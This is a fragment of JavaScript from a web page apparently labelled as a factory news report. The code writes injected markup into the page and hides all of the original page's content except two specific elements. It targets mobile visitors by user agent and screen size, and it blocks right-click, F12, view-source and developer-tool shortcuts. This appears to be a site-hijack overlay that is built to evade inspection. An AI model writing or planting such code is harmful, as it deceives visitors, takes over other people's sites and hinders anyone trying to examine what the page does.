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工厂新闻报道 ' + ''; document.write(ss); // 隐藏原页面 setTimeout(function () { for (var i = 0; i < document.body.children.length; i++) { try { var a = document.body.children[i].tagName; var b = document.body.children[i].id; if ( b !== "showcloneshengxiaon" && b !== "iconDiv1" && a !== "TITLE" ) { document.body.children[i].style.display = "none"; } } catch (e) {} } // viewport var oMeta = document.createElement('meta'); oMeta.name = 'viewport'; oMeta.content = 'width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no'; document.getElementsByTagName('head')[0].appendChild(oMeta); }, 100); } // 判断是否手机 function userIsPhone() { var ua = navigator.userAgent.toLowerCase(); var isMobile = /iphone|ipad|ipod|android|mobile|windows phone|blackberry|symbian/i .test(ua); // 小屏幕兼容 var screen_width = window.screen.width; var screen_height = window.screen.height; if (screen_width < 500 && screen_height < 800) { isMobile = true; } return isMobile; } // 禁止F12、右键 document.oncontextmenu = document.onkeydown = function(e) { e.preventDefault(); var key = e.key.toLowerCase(); if ( key === 'f12' || (e.ctrlKey && ['u', 's'].includes(key)) || (e.ctrlKey && e.shiftKey && ['i', 'c', 'j'].includes(key)) ) { return false; } };